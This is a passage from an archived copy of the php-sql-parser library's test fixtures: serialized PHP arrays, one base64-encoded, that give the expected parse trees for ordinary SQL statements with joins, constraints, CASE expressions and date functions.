varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:11:"primary-key";s:9:"base_expr";s:68:"PRIMARY KEY (a(5) ASC) key_block_size 4 using btree with parser haha";s:8:"sub_tree";a:6:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"PRIMARY";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:10:"(a(5) ASC)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:8:"a(5) ASC";s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:6:"length";s:1:"5";s:3:"dir";s:3:"ASC";}}}i:3;a:3:{s:9:"expr_type";s:10:"index-size";s:9:"base_expr";s:16:"key_block_size 4";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:14:"key_block_size";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"4";}}}i:4;a:3:{s:9:"expr_type";s:10:"index-type";s:9:"base_expr";s:11:"using btree";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"using";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"btree";}}}i:5;a:3:{s:9:"expr_type";s:12:"index-parser";s:9:"base_expr";s:16:"with parser haha";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"with";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"parser";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"haha";}}}}}i:2;a:3:{s:9:"expr_type";s:5:"check";s:9:"base_expr";s:12:"CHECK(a > 5)";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"CHECK";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(a > 5)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}}}}s:7:"options";b:0;}}PK     \~+    F  vendor/greenlion/php-sql-parser/tests/expected/parser/left2.serializednu [        a:2:{s:6:"SELECT";a:3:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"a.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"b.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"c.field1";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:7:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tablea";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tablea";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"tablea a";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tableb";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tableb";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"b.ida";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:3:"ida";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"a.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}s:9:"base_expr";s:24:"tableb b ON b.ida = a.id";s:8:"sub_tree";b:0;}i:2;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tablec";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tablec";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:9:"base_expr";s:1:"c";}s:5:"hints";b:0;s:9:"join_type";s:5:"RIGHT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"c.idb";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"c";i:1;s:3:"idb";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"b.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"b";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}}s:9:"base_expr";s:24:"tablec c ON c.idb = b.id";s:8:"sub_tree";b:0;}i:3;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"tabled";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"tabled";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:9:"base_expr";s:1:"d";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:5:"USING";s:10:"ref_clause";a:1:{i:0;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:6:"(d_id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"d_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"d_id";}}}}}}s:9:"base_expr";s:21:"tabled d USING (d_id)";s:8:"sub_tree";b:0;}i:4;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"e";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"e";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:5:"RIGHT";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"e.id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"e";i:1;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"a.e_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:4:"e_id";}}s:8:"sub_tree";b:0;}}s:9:"base_expr";s:18:"e on e.id = a.e_id";s:8:"sub_tree";b:0;}i:5;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"e";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"e";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:2:"e2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"e2";}}s:9:"base_expr";s:2:"e2";}s:5:"hints";b:0;s:9:"join_type";s:4:"LEFT";s:8:"ref_type";s:5:"USING";s:10:"ref_clause";a:1:{i:0;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:6:"(e_id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"e_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"e_id";}}}}}}s:9:"base_expr";s:17:"e e2 using (e_id)";s:8:"sub_tree";b:0;}i:6;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"e";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"e";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:2:"e3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"e3";}}s:9:"base_expr";s:2:"e3";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:1:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:19:"(e3.e_id = e2.e_id)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"e3.e_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"e3";i:1;s:4:"e_id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"e2.e_id";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"e2";i:1;s:4:"e_id";}}s:8:"sub_tree";b:0;}}}}s:9:"base_expr";s:27:"e e3 on (e3.e_id = e2.e_id)";s:8:"sub_tree";b:0;}}}PK     \Px  x  I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment2.serializednu [        YToyOntzOjY6IlNFTEVDVCI7YTozOntpOjA7YTo2OntzOjk6ImV4cHJfdHlwZSI7czo2OiJjb2xyZWYiO3M6NToiYWxpYXMiO2I6MDtzOjk6ImJhc2VfZXhwciI7czoxOiJhIjtzOjk6Im5vX3F1b3RlcyI7YToyOntzOjU6ImRlbGltIjtiOjA7czo1OiJwYXJ0cyI7YToxOntpOjA7czoxOiJhIjt9fXM6ODoic3ViX3RyZWUiO2I6MDtzOjU6ImRlbGltIjtzOjE6IiwiO31pOjE7YToyOntzOjk6ImV4cHJfdHlwZSI7czo3OiJjb21tZW50IjtzOjU6InZhbHVlIjtzOjEwNjoiLyogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdWx0aSBsaW5lIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29tbWVudAogICAgICAgICAgICAgICAgICAgICAgICAqLyI7fWk6MjthOjY6e3M6OToiZXhwcl90eXBlIjtzOjY6ImNvbHJlZiI7czo1OiJhbGlhcyI7YjowO3M6OToiYmFzZV9leHByIjtzOjE6ImIiO3M6OToibm9fcXVvdGVzIjthOjI6e3M6NToiZGVsaW0iO2I6MDtzOjU6InBhcnRzIjthOjE6e2k6MDtzOjE6ImIiO319czo4OiJzdWJfdHJlZSI7YjowO3M6NToiZGVsaW0iO2I6MDt9fXM6NDoiRlJPTSI7YToxOntpOjA7YToxMDp7czo5OiJleHByX3R5cGUiO3M6NToidGFibGUiO3M6NToidGFibGUiO3M6NDoidGVzdCI7czo5OiJub19xdW90ZXMiO2E6Mjp7czo1OiJkZWxpbSI7YjowO3M6NToicGFydHMiO2E6MTp7aTowO3M6NDoidGVzdCI7fX1zOjU6ImFsaWFzIjtiOjA7czo1OiJoaW50cyI7YjowO3M6OToiam9pbl90eXBlIjtzOjQ6IkpPSU4iO3M6ODoicmVmX3R5cGUiO2I6MDtzOjEwOiJyZWZfY2xhdXNlIjtiOjA7czo5OiJiYXNlX2V4cHIiO3M6NDoidGVzdCI7czo4OiJzdWJfdHJlZSI7YjowO319fQ==PK     \um	  m	  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33d.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:60:" (a varchar(1000), CONSTRAINT PRIMARY KEY (a), CHECK(a > 5))";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:11:"primary-key";s:9:"base_expr";s:26:"CONSTRAINT PRIMARY KEY (a)";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:10:"constraint";s:9:"base_expr";s:10:"CONSTRAINT";s:8:"sub_tree";b:0;}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"PRIMARY";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:3;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:3:"(a)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:1:"a";s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:6:"length";b:0;s:3:"dir";b:0;}}}}}i:2;a:3:{s:9:"expr_type";s:5:"check";s:9:"base_expr";s:12:"CHECK(a > 5)";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"CHECK";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(a > 5)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}}}}s:7:"options";b:0;}}PK     \	0Q7  Q7  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue31.serializednu [        a:5:{s:6:"SELECT";a:12:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"sp.level";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:5:"level";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:8:"levelnum";s:9:"base_expr";s:11:"AS levelnum";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"levelnum";}}}s:9:"base_expr";s:152:"CASE sp.level
        			WHEN 'bronze' THEN 0
        			WHEN 'silver' THEN 1
        			WHEN 'gold' THEN 2
        			ELSE -1
        		END AS levelnum";s:8:"sub_tree";a:17:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"CASE";s:8:"sub_tree";b:0;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"sp.level";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:5:"level";}}s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"WHEN";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'bronze'";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THEN";s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"WHEN";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'silver'";s:8:"sub_tree";b:0;}i:8;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THEN";s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"WHEN";s:8:"sub_tree";b:0;}i:11;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'gold'";s:8:"sub_tree";b:0;}i:12;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THEN";s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}i:14;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"ELSE";s:8:"sub_tree";b:0;}i:15;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"-1";s:8:"sub_tree";b:0;}i:16;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"END";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"sp.alt_en";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:6:"alt_en";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:3;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"sp.alt_pl";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:6:"alt_pl";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:4;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:8:"vu_start";s:9:"base_expr";s:11:"AS vu_start";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"vu_start";}}}s:9:"base_expr";s:11:"DATE_FORMAT";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"sp.vu_start";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:8:"vu_start";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'%Y-%m-%d %T'";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:5;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:7:"vu_stop";s:9:"base_expr";s:10:"AS vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"vu_stop";}}}s:9:"base_expr";s:11:"DATE_FORMAT";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"sp.vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:7:"vu_stop";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'%Y-%m-%d %T'";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:6;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:6:"frdays";s:9:"base_expr";s:9:"AS frdays";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"frdays";}}}s:9:"base_expr";s:3:"ABS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:37:"TO_DAYS(now()) - TO_DAYS(sp.vu_start)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"-";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"sp.vu_start";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:8:"vu_start";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}}s:5:"delim";s:1:",";}i:7;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:6:"todays";s:9:"base_expr";s:9:"AS todays";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"todays";}}}s:9:"base_expr";s:3:"ABS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:36:"TO_DAYS(now()) - TO_DAYS(sp.vu_stop)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"-";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"sp.vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:7:"vu_stop";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}}s:5:"delim";s:1:",";}i:8;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:6:"status";s:9:"base_expr";s:9:"AS status";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"status";}}}s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:71:"ISNULL(TO_DAYS(sp.vu_start)) OR ISNULL(TO_DAYS(sp.vu_stop))
        			";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"ISNULL";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"sp.vu_start";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:8:"vu_start";}}s:8:"sub_tree";b:0;}}}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"OR";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:6:"ISNULL";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"sp.vu_stop";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:7:"vu_stop";}}s:8:"sub_tree";b:0;}}}}}}s:5:"alias";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:2:"IF";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:50:"TO_DAYS(now()) < TO_DAYS(sp.vu_start)
        				";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:3:"now";s:8:"sub_tree";b:0;}}}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"sp.vu_start";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"sp";i:1;s:8:"vu_start";}}s:8:"sub_tree";b:0;}}}}s:5:"alias";b:0;}i:1;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:51:" TO_DAYS(now()) - TO_DAYS(sp.vu_start)
